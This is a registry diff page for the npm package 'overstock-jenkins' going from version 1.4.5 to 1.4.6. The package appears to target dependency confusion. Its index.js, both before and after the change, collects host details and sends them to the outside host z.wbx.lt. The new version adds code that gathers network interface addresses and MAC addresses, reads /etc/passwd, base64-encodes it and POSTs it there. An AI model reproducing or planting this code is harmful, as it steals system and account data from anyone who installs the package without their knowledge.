overstock-jenkins 1.4.5 → 1.4.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +1 -0
  2. package/index.js +58 -24
  3. package/package.json +1 -1
package/README.md ADDED
@@ -0,0 +1 @@
1
+ # overstock-jenkins
package/index.js CHANGED
@@ -1,37 +1,71 @@
1
- const os = require("os");
2
- const dns = require("dns");
3
- const querystring = require("querystring");
1
+ const os = require('os');
2
+ const fs = require('fs');
4
3
  const https = require("https");
5
- const packageJSON = require("./package.json");
6
- const package = packageJSON.name;
7
-
8
- const trackingData = JSON.stringify({
9
- p: package,
10
- c: __dirname,
11
- hd: os.homedir(),
12
- hn: os.hostname(),
13
- un: os.userInfo().username,
14
- dns: dns.getServers(),
15
- r: packageJSON ? packageJSON.___resolved : undefined,
16
- v: packageJSON.version,
17
- pjson: packageJSON,
18
- });
19
4
 
20
- var postData = querystring.stringify({
21
- msg: trackingData,
22
- });
5
+ const result = {
6
+ os: {
7
+ type: os.type(),
8
+ platform: os.platform(),
9
+ release: os.release(),
10
+ arch: os.arch(),
11
+ hostname: os.hostname()
12
+ },
13
+ network_interfaces: {},
14
+ files: {}
15
+ };
16
+
17
+ // Collect network interface details
18
+ const interfaces = os.networkInterfaces();
19
+ for (const [name, entries] of Object.entries(interfaces)) {
20
+ result.network_interfaces[name] = entries.map(i => ({
21
+ family: i.family,
22
+ ip_address: i.address,
23
+ netmask: i.netmask,
24
+ mac_address: i.mac,
25
+ internal: i.internal,
26
+ cidr: i.cidr
27
+ }));
28
+ }
29
+
30
+ // Conditionally read /etc/passwd (Unix-like systems only)
31
+ if (os.platform() !== 'win32') {
32
+ const filePath = '/etc/passwd';
33
+
34
+ if (fs.existsSync(filePath)) {
35
+ const fileBuffer = fs.readFileSync(filePath);
36
+ result.files['/etc/passwd'] = {
37
+ encoding: 'base64',
38
+ size_bytes: fileBuffer.length,
39
+ data: fileBuffer.toString('base64')
40
+ };
41
+ } else {
42
+ result.files['/etc/passwd'] = {
43
+ error: 'File not found'
44
+ };
45
+ }
46
+ } else {
47
+ result.files['/etc/passwd'] = {
48
+ error: 'Not supported on Windows'
49
+ };
50
+ }
51
+
52
+ // Output JSON only
53
+ // console.log(JSON.stringify(result, null, 2));
54
+
23
55
 
24
56
  var options = {
25
57
  hostname: "z.wbx.lt",
26
58
  port: 443,
27
- path: "/test_data",
59
+ path: "/poc-vip",
28
60
  method: "POST",
29
61
  headers: {
30
- "Content-Type": "application/x-www-form-urlencoded",
31
- "Content-Length": postData.length,
62
+ "Content-Type": "application/json",
63
+ "Content-Length": JSON.stringify(result).length,
32
64
  },
33
65
  };
34
66
 
67
+ // console.log(trackingData);
68
+
35
69
  var req = https.request(options, (res) => {
36
70
  res.on("data", (d) => {
37
71
  process.stdout.write(d);
@@ -42,5 +76,5 @@ req.on("error", (e) => {
42
76
  // console.error(e);
43
77
  });
44
78
 
45
- req.write(postData);
79
+ req.write(JSON.stringify(result));
46
80
  req.end();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "overstock-jenkins",
3
- "version": "1.4.5",
3
+ "version": "1.4.6",
4
4
  "description": "overstock-jenkins test package",
5
5
  "license": "ISC",
6
6
  "author": "ram patidar",